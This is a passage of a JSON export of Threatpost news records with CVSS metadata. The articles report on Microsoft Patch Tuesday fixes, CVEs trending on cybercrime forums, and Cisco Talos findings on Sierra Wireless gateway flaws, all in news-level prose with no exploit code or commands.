"bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T20:20:08", "description": "[Microsoft reported](<https://msrc.microsoft.com/update-guide/vulnerability>) a total of 55 vulnerabilities, six of which are rated critical, with the remaining 49 being rated important. The flaws are found in Microsoft Windows and Windows Components, Azure, Azure RTOS, Azure Sphere, Microsoft Dynamics, Microsoft Edge (Chromium-based), Exchange Server, Microsoft Office and Office Components, Windows Hyper-V, Windows Defender, and Visual Studio.\n\nAll in all, it\u2019s a pretty light month, according to the Zero Day Initiative\u2019s (ZDI\u2019s) Dustin Childs. \u201cHistorically speaking, 55 patches in November is a relatively low number,\u201d he commentd. \u201cEven going back to 2018 when there were only 691 CVEs fixed all year, there were more November CVEs.\u201d\n\nStill, as always, this Patch Tuesday delivers high-priority fixes, the most urgent of which being the duo that are under attack.\n\n## High-Priority, Actively Exploited Pair of Bugs\n\n[**CVE-2021-42321**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321>)**: Microsoft Exchange Server Remote Code Execution Vulnerability.**\n\nThis is a critical remote code execution (RCE) weakness in Exchange Server caused by issues with the validation of command-let (cmdlet) arguments \u2013 i.e., lightweight commands used in the PowerShell environment. They\u2019re invoked by PowerShell runtime within the context of automation scripts that are provided at the command line or invoked programmatically by the PowerShell runtime through APIs. Microsoft said that the vulnerability, rated 8.8 in criticality, has low attack complexity.\n\nIn order to exploit this flaw, an attacker would need to be authenticated, which limits some of the impact, as noted by Satnam Narang, staff research engineer at Tenable. Microsoft says they are aware of \u201climited targeted attacks\u201d using this vulnerability in the wild.\n\nMicrosoft has a[ blog post describing the vulnerabilit](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169>)y and how it\u2019s exploited.\n\nMicrosoft Exchange Server has been the subject of several notable vulnerabilities throughout 2021, including [ProxyLogon](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and associated vulnerabilities as well as [ProxyShell](<https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/>), Narang pointed out.\n\n[](<https://threatpost.com/webinars/multi-cloud-security-and-visibility-an-intro-to-osquery-and-cloudquery/?utm_source=uptycs&utm_medium=email&utm_campaign=event&utm_id=uptycs&utm_term=nov_event&utm_content=IA>)\n\nClick to register for our LIVE event!\n\n\u201cThough unconfirmed, this may be similar to an Exchange Server vulnerability that was discovered at the [Tianfu Cup](<https://borncity.com/win/2021/10/17/tifanu-cup-2021-exchange-2019-und-iphone-gehackt/>) hacking competition last month,\u201d Narang suggested.\n\nKevin Breen, director of cyber threat research at Immersive Labs, told Threatpost on Tuesday that federal or government bodies in the United States may be bound by the recent [CISA directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) that puts an emphasis on faster patching of exploits that are actively being used by attackers. \u201cThis vulnerability \u2013 along with CVE-2021-42292 \u2013 would likely fall into that category,\u201d he noted in an email on Tuesday.\n\nIn spite of playing a starring role at the Tianfu Cup, this flaw was actually discovered by the Microsoft Threat Intelligence Center (MSTIC). Microsoft said that it\u2019s been actively used in attacks.\n\n[**CVE-2021-42292**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42292>)**: Microsoft Excel Security Feature Bypass Vulnerability.**\n\nThis patch fixes a security feature bypass vulnerability \u200b\u200bin Microsoft Excel for both Windows and MacOS computers that could allow code execution when opening a specially crafted file. It too was discovered by MSTIC, which said that it\u2019s also been exploited in the wild as a zero day.\n\nAccording to Trend Micro\u2019s Zero Day Initiative (ZDI) [November Security Update](<https://www.zerodayinitiative.com/blog/2021/11/9/the-november-2021-security-update-review>), \u201cThis is likely due to loading code that should be behind a prompt, but for whatever reason, that prompt does not appear, thus bypassing that security feature.\u201d\n\nMicrosoft doesn\u2019t suggest what effect the vulnerability might have, but its CVSS score of 7.8 gives it a severity rating of high. Immersive Labs\u2019 Breen said that the lack of detail \u201ccan make it hard to prioritize, but anything that is being exploited in the wild should be at the very top of your list to patch.\u201d\n\nMicrosoft said that the Outlook Preview Pane isn\u2019t an attack vector for this weakness, so a target would need to open the file in order for exploitation to occur.\n\nUpdates are available for Windows systems, but updates for Office for Mac aren\u2019t out yet.\n\nBreen suggested that given the lack of description and a lack of updates for a vulnerability being exploited in the wild, \u201cit may be worth telling anyone in your organization using Office for Mac to be more cautious until patches are made available.\u201d\n\n## Other Bugs of Note\n\n[**CVE-2021-42298**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42298>)**: Microsoft Defender Remote Code Execution Vulnerability.**\n\nDefender is designed to scan every file and run with some of the highest levels or privileges in the operating system. This means an attacker could trigger the exploit by simply sending a file \u2013 the victim wouldn\u2019t even need to open or run anything, explained Kevin Breen, director of cyber threat research at Immersive Labs.\n\nBreen told Threatpost on Tuesday that this is the reason that CVE-2021-42298 is marked as \u201cexploitation more likely.\u201d\n\n\u201cAs it\u2019s not being exploited in the wild, it should get updated without any manual intervention from administrators,\u201d he said via email. \u201cThat being said, it\u2019s definitely worth checking to make sure your Defender installations are getting their updates set correctly.\u201d\n\nMicrosoft\u2019s advisory includes steps to verify that users have the latest versions installed.\n\n[**CVE-2021-38666**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38666>)**: Remote Desktop Client Remote Code Execution Vulnerability.**\n\nMicrosoft said that in the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger an RCE on the RDP client machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n\nThat\u2019s not the clearest description, Breen noted, but the attack vector suggests that the remote desktop client installed on all supported versions of Windows contains a vulnerability.\n\n\u201cTo exploit it, an attacker would have to create their own server and convince a user to connect to the attacker,\u201d Breen explained. \u201cThere are several ways an attacker could do this, one of which could be to send the target an RDP shortcut file, either via email or a download. If the target opens this file, which in itself is not malicious, they could be giving the attacker access to their system.\u201d\n\nBreen said in an email that in addition to patching this flaw, a sensible step would be to add detections for RDP files being shared in emails or downloads.\n\n[**CVE-2021-38631**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38631>)** & **[**CVE-2021-41371**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41371>)**: Information Disclosure Vulnerabilities in Microsoft Remote Desktop Protocol (RDP).**\n\nThese flaws were previously publicly disclosed by security researchers. Successful exploitation of would allow an attacker to see RDP passwords for the vulnerable system.\n\nThe issue affects RDP running on Windows 7 \u2013 11 and Windows Server 2008 \u2013 2019. They\u2019re rated \u201cImportant\u201d by Microsoft. Given the interest that cybercriminals (especially ransomware initial access brokers) have in RDP, \u201cit is likely that it will be exploited at some point,\u201d said Allan Liska, senior security architect at Recorded Future.\n\n## Continuous Exchange Vulnerabilities\n\nExchange vulnerabilities have been of particular concern this year, Liska noted, pointing to both Chinese nation state actors and the cybercriminals behind the [DearCry](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) ransomware (also believed to be operating out of China) as having exploited earlier vulnerabilities in Microsoft Exchange ([CVE-2021-26855 and CVE-2021-27065](<https://threatpost.com/microsoft-exchange-cyberattacks-one-click-fix/164817/>)).\n\n\u201cWhile Microsoft only rates the vulnerability as \u2018Important\u2019 because an attacker has to be authenticated to exploit it, Recorded Future has noted that gaining legitimate credential access to Windows systems has become trivial for both nation state and cybercriminal actors,\u201d Liska said via email. Hence, he recommended prioritizing this flaw for patching.\n\n## Prioritize CVE-2021-42292, Too\n\nMicrosoft wasn\u2019t clear about which security feature is bypassed by this security feature bypass vulnerability for Microsoft Excel for both Windows and MacOS computers, which affects versions 2013 \u2013 2021. But the fact that it\u2019s being exploited in the wild \u201cis concerning,\u201d Liska said and \u201cmeans it should be prioritized for patching.\u201d\n\nMicrosoft Excel is a frequent target of both [nation-state attackers](<https://threatpost.com/spear-phishing-attack-lures-victims-with-hiv-results/153536/>) and cybercriminals, he noted.\n\n110921 17:21 UPDATE: Corrected misattribution of input from Kevin Breen.\n\n**_Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, _**[**_\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d_**](<https://bit.ly/3bBMX30>) **_on Wed., Nov. 17 at 2 p.m. ET. Brought to you by Specops._**\n\n[**_Register NOW_**](<https://bit.ly/3bBMX30>)**_ for the LIVE event and submit questions ahead of time to Threatpost\u2019s Becky Bracken at _**[**_becky.bracken@threatpost.com._**](<mailto:becky.bracken@threatpost.com>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-09T21:41:49", "type": "threatpost", "title": "Microsoft Nov. Patch Tuesday Fixes Six Zero-Days, 55 Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065", "CVE-2021-38631", "CVE-2021-38666", "CVE-2021-41371", "CVE-2021-42292", "CVE-2021-42298", "CVE-2021-42321"], "modified": "2021-11-09T21:41:49", "id": "THREATPOST:C23B7DE85B27B6A8707D0016592B87A3", "href": "https://threatpost.com/microsoft-nov-patch-tuesday-fixes-six-zero-days-55-bugs/176143/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-17T07:28:30", "description": "Criminal small talk in underground forums offer critical clues about which known Common Vulnerabilities and Exposures (CVEs) threat actors are most focused on. This, in turn, offers defenders clues on what to watch out for.\n\nAn analysis of such chatter, by Cognyte, examined 15 [cybercrime forums](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) between Jan. 2020 and March 2021. In its report, researchers highlight what CVEs are the most frequently mentioned and try to determine where attackers might strike next.\n\n\u201cOur findings revealed that there is no 100 percent correlation between the two parameters, since the top five CVEs that received the highest number of posts are not exactly the ones that were mentioned on the highest number of Dark Web forums examined,\u201d the report said. \u201cHowever, it is still enough to understand which CVEs were popular among threat actors on the Dark Web during the time examined.\u201d[](<https://threatpost.com/newsletter-sign/>)The researchers found [ZeroLogon](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>), [SMBGhost](<https://threatpost.com/smbghost-rce-exploit-corporate-networks/156391/>) and [BlueKeep](<https://threatpost.com/bluekeep-attacks-have-arrived-are-initially-underwhelming/149829/>) were among the most buzzed about vulnerabilities among attackers between Jan. 2020 and March 2021.\n\n## **Six CVEs Popular with Criminals**\n\n[CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>) (aka ZeroLogon)\n\n[CVE-2020-0796](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0796>) (aka SMBGhost)\n\n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n[CVE-2019-0708](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708>) (aka BlueKeep)\n\n[CVE-2017-11882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882>)\n\n[CVE-2017-0199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0199>)\n\n\u201cMost of the CVEs in this list were abused by nation-state groups and cybercriminals, such as ransomware gangs, during worldwide campaigns against different sectors,\u201d the report said.\n\nNotably, all the CVEs threat actors are still focused on are old, meaning that basic patching and mitigation could have stopped many attacks before they even got started.\n\nThe report added, the 9-year-old [CVE-2012-0158](<https://nvd.nist.gov/vuln/detail/CVE-2012-0158>) was exploited by threat actors during the COVID-19 pandemic in 2020, which, \u201cindicates that organizations are not patching their systems and are not maintaining a resilient security posture.\u201d\n\nMicrosoft has the dubious distinction of being behind five of the six most popular vulns on the Dark Web, Cognyte found. Microsoft has also had a tough time getting users to patch them.\n\nZeroLogon is a prime example. The [flaw in Microsoft\u2019s software](<https://threatpost.com/microsoft-implements-windows-zerologon-flaw-enforcement-mode/163104/>) allows threat actors to access domain controllers and breach all Active Directory identity services. Patching ZeroLogon was so slow, Microsoft announced in January it would start blocking Active Directory domain access to unpatched systems with an \u201cenforcement mode.\u201d\n\nIn March 2020, Microsoft patched the number two vulnerability on the list, CVE-2020-0796, but as of October, 100,000 [Windows systems were still vulnerable](<https://threatpost.com/microsofts-smbghost-flaw-108k-windows-systems/160682/>).\n\nThe analysts explained varying CVEs were more talked about depending on the forum language. The CVE favored by Russian-language forums was CVE-2019-19781. Chinese forums were buzzing most about CVE-2020-0796. There was a tie between CVE-2020-0688 and CVE-2019-19781 in English-speaking threat actor circles. And Turkish forums were focused on CVE-2019-6340.\n\nThe researchers add, for context, that about half of the monitored forums were Russian-speaking and that Spanish forums aren\u2019t mentioned because there wasn\u2019t a clear frontrunning CVE discussed.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T21:07:15", "type": "threatpost", "title": "Top CVEs Trending with Cybercriminals", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2012-0158", "CVE-2017-0199", "CVE-2017-11882", "CVE-2019-0708", "CVE-2019-19781", "CVE-2019-6340", "CVE-2020-0688", "CVE-2020-0796", "CVE-2020-1472"], "modified": "2021-07-16T21:07:15", "id": "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "href": "https://threatpost.com/top-cves-trending-with-cybercriminals/167889/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:20:11", "description": "Microsoft has released patches for 129 security bugs in its September Patch Tuesday update. These include 23 critical flaws, 105 that are important in severity and one moderate bug. Fortunately, none are publicly known or under active exploitation, Microsoft said.\n\nThe most severe issue in the bunch is [CVE-2020-16875](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875>), according to researchers. This is a memory-corruption problem in Microsoft Exchange that allows remote code-execution (RCE) just by sending an email to a target. Running arbitrary code could grant attackers the access they need to create new accounts, access, modify or remove data, and install programs.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cThis patch corrects a vulnerability that allows an attacker to execute code at SYSTEM by sending a specially crafted email to an affected Exchange Server,\u201d wrote Dustin Childs, researcher at Trend Micro\u2019s Zero-Day Initiative (ZDI), in [an analysis](<https://www.zerodayinitiative.com/blog/2020/9/8/the-september-2020-security-update-review>) on Tuesday. \u201cThat is about the worst-case scenario for Exchange servers. We have seen the previously patched Exchange bug CVE-2020-0688 used in the wild, and that requires authentication. We\u2019ll likely see this one in the wild soon. This should be your top priority.\u201d\n\nJustin Knapp, product marketing manager at Automox, added that while this vulnerability only affects Exchange Server versions 2016 and 2019, \u201cthe broad use of Microsoft Exchange across business users and a high CVSS score of 9.1 indicates that this patch should be prioritized high on the list.\u201d\n\nAnother critical RCE vulnerability that should be prioritized for patching is [CVE-2020-1210](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1210>), which exists in SharePoint due to a failure to check an application package\u2019s source markup. It rates 9.9 out of 10 on the CVSS severity scale.\n\n\u201cTo exploit this flaw, an attacker would need to be able to upload a SharePoint application package to a vulnerable SharePoint site,\u201d Satnam Narang, staff research engineer at Tenable, said via email. \u201cThis vulnerability is reminiscent of a similar SharePoint remote code-execution flaw, [CVE-2019-0604](<https://threatpost.com/un-hack-microsoft-sharepoint-flaw/152378/#:~:text=Hackers%20breached%20the%20United%20Nations,SharePoint%20vulnerability%2C%20according%20to%20reports.&text=This%20remote%20code%2Dexecution%20vulnerability,did%20not%20update%20its%20systems.>), that has been exploited in the wild by threat actors since at least April 2019.\u201d\n\nThere are a total of seven RCE bugs being fixed in SharePoint. Only one, CVE-2020-1460, requires authentication.\n\nKnapp flagged another critical RCE vulnerability (rated 8.4 on the CvSS scale) in the Windows Graphic Device Interface ([CVE-2020-1285](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1285>)). It arises because of the way the GDI handles objects in memory, providing both web-based and file-sharing attack scenarios that could introduce multiple vectors for an attacker to gain control of a system, he said.\n\n\u201cIn the web-based attack scenario, an attacker would need to craft a website designed to exploit the vulnerability and then convince users to view the website,\u201d Knapp noted. \u201cSince there\u2019s no way to force users to view the attacker-controlled content, the attacker would need to convince users to take action, typically by getting them to open an email attachment or click a link. In the file-sharing scenario, the attacker would need to convince users to open a specially crafted file designed to exploit the vulnerability. Given the extensive list of Windows and Windows Server versions impacted and the lack of a workaround or mitigation, this is a vulnerability that should be patched immediately.\u201d\n\nSeptember\u2019s slew of patches also features several other RCE bugs, including one in the Microsoft Windows Codecs Library ([CVE-2020-1129](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1129>), with an 8.8 CvSS rating), which is used by multiple applications and can therefore affect a wide range of programs. An attacker could execute code on a victim machine by convincing someone to view a weaponized video clip.\n\n\u201c[This] could allow code execution if an affected system views a specially crafted image,\u201d Childs explained. \u201cThe specific flaw exists within the parsing of HEVC streams. A crafted HEVC stream in a video file can trigger an overflow of a fixed-length stack-based buffer.\u201d\n\nAnother critical RCE problem exists in the Microsoft Component Object Model (COM) for Windows ([CVE-2020-0922](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0922>)), which is a platform-independent system for creating binary software components that can interact with each other. Like the previous bug, there are likely multiple applications that could be impacted by the flaw if they use COM. It rates 8.8 on the CvSS scale.\n\n\u201cThis patch corrects a vulnerability that would allow an attacker to execute code on an affected system if they can convince a user to open a specially crafted file or lure the target to a website hosting malicious JavaScript,\u201d Childs explained.\n\nMeanwhile, [CVE-2020-16874](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16874>) is a critical RCE vulnerability within Visual Studio, rating 7.8. An attacker could successfully exploit this vulnerability by convincing a user to open a specially crafted file using an affected version of the software.\n\n\u201cIf the compromised user is logged in with admin rights, the attacker could take control of the affected system and gain the ability to install programs; view, change, or delete data; or create new accounts with full user rights,\u201d Automox\u2019 Knapp said. \u201cThe vulnerability exists in multiple versions of Visual Studio dating back to 2012.\u201d\n\nAmong the other bugs of note, Childs also highlighted [CVE-2020-0951](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0951>), an important-rated security feature bypass bug in Windows Defender.\n\n\u201cAn attacker with administrative privileges on a local machine could connect to a PowerShell session and send commands to execute arbitrary code,\u201d Childs said. \u201cThis behavior should be blocked by WDAC, which does make this an interesting bypass. However, what\u2019s really interesting is that this is getting patched at all. Vulnerabilities that require administrative access to exploit typically do not get patches. I\u2019m curious about what makes this one different.\u201d\n\nSeptember\u2019s Patch Tuesday release continues a trend of high-volume security updates. The patches are for a wide range of products, including Microsoft Windows, Edge (both EdgeHTML-based and Chromium-based), ChakraCore, Internet Explorer (IE), SQL Server, Office and Office Services and Web Apps, Microsoft Dynamics, Visual Studio, Exchange Server, ASP.NET, OneDrive and Azure DevOps.\n\n\u201cThat brings us to seven straight months of 110+ CVEs,\u201d said Childs. \u201cIt also brings the yearly total close to 1,000. It certainly seems like this volume is the new normal for Microsoft patches.\u201d\n\nOrganizations are struggling to keep up, Knapp noted.\n\n\u201cAs many organizations continue to struggle to support the ongoing distribution of remote workers, Microsoft continues to pile on the updates,\u201d he said. \u201cFinding an efficient method for rolling out these patches has become even more imperative as companies begin to abandon the idea of a short-term fix and shift operations to embrace remote work as part of a lasting, long-term progression of how organizations operate moving forward\u2026.We\u2019re beginning to realize the negative outcomes of the lenient security measures put in place to quickly adapt to a decentralized workforce and it\u2019s become more important than ever to establish patching policies that can securely support remote endpoints for the foreseeable future.\u201d\n\nMeanwhile, [Adobe fixed](<https://threatpost.com/critical-adobe-flaws-attackers-javascript-browsers/159026/>) five critical cross-site scripting (XSS) flaws in Experience Manager as part of its regularly scheduled patches on Tuesday. It also addressed flaws in Adobe Framemaker, its document-processor designed for writing and editing large or complex documents; and InDesign, its desktop publishing and typesetting software application.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-08T20:40:46", "type": "threatpost", "title": "Microsoft's Patch Tuesday Packed with Critical RCE Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0604", "CVE-2020-0688", "CVE-2020-0922", "CVE-2020-0951", "CVE-2020-1129", "CVE-2020-1210", "CVE-2020-1285", "CVE-2020-1460", "CVE-2020-16874", "CVE-2020-16875", "CVE-2020-5135"], "modified": "2020-09-08T20:40:46", "id": "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "href": "https://threatpost.com/microsofts-patch-tuesday-critical-rce-bugs/159044/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:13", "description": "A 5G wireless gateway tailored for industrial internet of things (IoT), retail point-of-sale and enterprise redundancy applications is riddled with vulnerabilities, include two critical bugs that allow remote code-execution (RCE) and arbitrary command-injection.\n\nThe Sierra Wireless AirLink ES450 LTE gateway (version 4.9.3) has 11 different bugs, which could be exploited for RCE, uncovering user credentials (including the administrator\u2019s password) and other scenarios, according to Cisco Talos, which found the issues. Sierra Wireless has issued an update and administrators are encouraged to apply it.\n\n\u201cThe majority of these vulnerabilities exist in ACEManager, the web server included with the ES450,\u201d Cisco explained in [an advisory](<https://blog.talosintelligence.com/2019/04/vulnerability-sierra-airlink.html>) on Thursday. \u201cACEManager is responsible for the majority of interactions on the device, including device reconfiguration, user authentication and certificate management.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe most serious of the flaws is a critical RCE vulnerability ([CVE-2018-4063](<https://www.talosintelligence.com/reports/TALOS-2018-0748>)), CVSS score of 9.9, in the upload.cgi function of the ACEManager, which allows an attacker to use a specially crafted HTTP request to upload executable code, to be routed to the web server.\n\n\u201cWhen uploading template files, you can specify the name of the file that you are uploading,\u201d according to Cisco. \u201cThere are no restrictions in place that protect the files that are currently on the device, used for normal operation. If a file is uploaded with the same name of the file that already exists in the directory, then we inherit the permissions of that file.\u201d\n\nFurther, since ACEManager is running as root, any executables that are run by those files will be running also as root. \u201cBy uploading a small wrapper, we can upload arbitrary code to the device and run by simply navigating to the web page through the browser,\u201d Cisco noted.\n\nAlso in the upload.cgi function, an unverified password change vulnerability ([CVE-2018-4064](<https://www.talosintelligence.com/reports/TALOS-2018-0749>)) opens the door to an unverified device configuration change, resulting in an unverified change of the `user` password on the device.\n\nIn both cases, an attacker exploiting the upload.cgi bugs can make an authenticated HTTP request to trigger the vulnerability.\n\nThere\u2019s also a critical command-injection vulnerability ([CVE-2018-4061](<https://www.talosintelligence.com/reports/TALOS-2018-0746>)), CVSS score of 9.9, which exists in the ACEManager iplogging.cgi functionality. An authenticated attacker can send a specially crafted HTTP request to inject arbitrary commands, resulting in arbitrary command execution as root. This bug most likely also affects the also most likely affects the AirLink GX450 product, Cisco added.\n\nAnother problem arises from having hard-coded credentials ([CVE-2018-4062](<https://www.talosintelligence.com/reports/TALOS-2018-0747>)) in the SNMPD function of the gateway.\n\n\u201cActivating SNMPD outside of the WebUI can cause the activation of the hard-coded credentials, resulting in the exposure of a privileged user,\u201d according to Cisco. \u201cAn attacker can activate SNMPD without any configuration changes to trigger this vulnerability.\u201d\n\nMeanwhile, there are four information-disclosure vulnerabilities. For one, the ACEManager authentication functionality is done in plaintext XML to the web server ([CVE-2018-4069](<https://www.talosintelligence.com/reports/TALOS-2018-0754>)), so an attacker can listen to network traffic upstream from the device to sniff out credentials.\n\nThe other three ([CVE-2018-4067](<https://www.talosintelligence.com/reports/TALOS-2018-0752>), [CVE-2018-4068](<https://www.talosintelligence.com/reports/TALOS-2018-0753>) and [CVE-2018-4070/CVE-2018-4071](<https://www.talosintelligence.com/reports/TALOS-2018-0755>)) can expose internal paths and files; the default configuration for the device; or plain text passwords and SNMP community strings. An attacker can send an unauthenticated HTTP request to trigger any of these.\n\nOther bugs include a permission assignment vulnerability ([CVE-2018-4072/CVE-2018-4073](<https://www.talosintelligence.com/reports/TALOS-2018-0756>)), a cross-site scripting (CSS) vulnerability ([CVE-2018-4065](<https://www.talosintelligence.com/reports/TALOS-2018-0750>)) and a cross-site request forgery (CSRF) vulnerability ([CVE-2018-4066](<https://www.talosintelligence.com/reports/TALOS-2018-0751>)).\n\nThe gateway is billed as a \u201ca reliable, secure LTE gateway,\u201d and is one of the first-to-market to capitalize on the deployment of next-generation 5G mobile networks, which are expected to support [a whole raft of new use cases](<https://threatpost.com/5g-security/140664/>), especially in the industrial IoT space. But as these flaws illustrate, vulnerabilities come with any new territory.\n\n\u201cHistory has shown us that when we expand our computing power and connectivity, we open up a new landscape for attackers to use against us, with prime examples of this being the cloud and connected IoT devices,\u201d Steve McGregory, senior director of application and threat intelligence at Ixia, told Threatpost. He added, \u201cWe are racing into 5G just as we did with IoT and the cloud\u2026if that trend is to continue, then we must plan and prepare.\u201d\n", "cvss3": {}, "published": "2019-04-26T16:12:06", "type": "threatpost", "title": "Critical Flaws in Sierra Wireless 5G Gateway Allow RCE, Command Injection", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-4061", "CVE-2018-4062", "CVE-2018-4063", "CVE-2018-4064", "CVE-2018-4065", "CVE-2018-4066", "CVE-2018-4067", "CVE-2018-4068", "CVE-2018-4069", "CVE-2018-4070", "CVE-2018-4071", "CVE-2018-4072", "CVE-2018-4073", "CVE-2020-0688"], "modified": "2019-04-26T16:12:06", "id": "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "href": "https://threatpost.com/critical-flaws-sierra-wireless-5g/144142/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:30:41", "description": "Microsoft has issued one of its largest Patch Tuesday updates for the shortest month of the year, addressing 99 security vulnerabilities across a range of products. Twelve of the bugs are listed as critical \u2013 and the rest are rated as being important.\n\nThe update includes a patch for the [zero-day memory-corruption vulnerability disclosed in late January](<https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/>) that\u2019s under active attack. The bug tracked as [CVE-2020-0674](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674>) is a critical flaw for most Internet Explorer versions, allowing remote code-execution and complete takeover.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis browser bug impacts IE and the other programs that rely on the Trident rendering engine,\u201d explained Dustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative, in his[ Patch Tuesday analysis](<https://www.thezdi.com/blog/2020/2/11/the-february-2020-security-update-review>). \u201cAttackers can execute code on affected systems if a user browses to a specially crafted website. Even if you don\u2019t use IE, you could still be affected by this bug though embedded objects in Office documents. Considering the listed workaround \u2013 disabling jscript.dll \u2013 breaks a fair amount of functionality, you should prioritize the testing and deployment of this patch.\u201d\n\nAlso of note: February 2020 marks the first security updates for the new Edge Chromium browser edition. There were 41 vulnerabilities fixed in the Chromium-based Edge version that were technically not part of Patch Tuesday \u2013 which brings the total number of bugs fixed by Microsoft this week to 140.\n\n## Critical Patches for February 2020\n\nThe update includes a wealth of \u201cstandout\u201d bugs, according to researcher analyses, including several critical vulnerabilities in addition to the zero day.\n\nAccording to Jay Goodman, technical marketing manager at Automox, bugs to watch include [CVE-2020-0618](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618>) and [CVE-2020-0662](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0662>) (only the latter is listed as critical), which are nearly identical remote code-execution (RCE) bugs in SQL Server 2012, 2014 and 2016 (32 and 64 bit) and Windows 7, 8.1, 10, 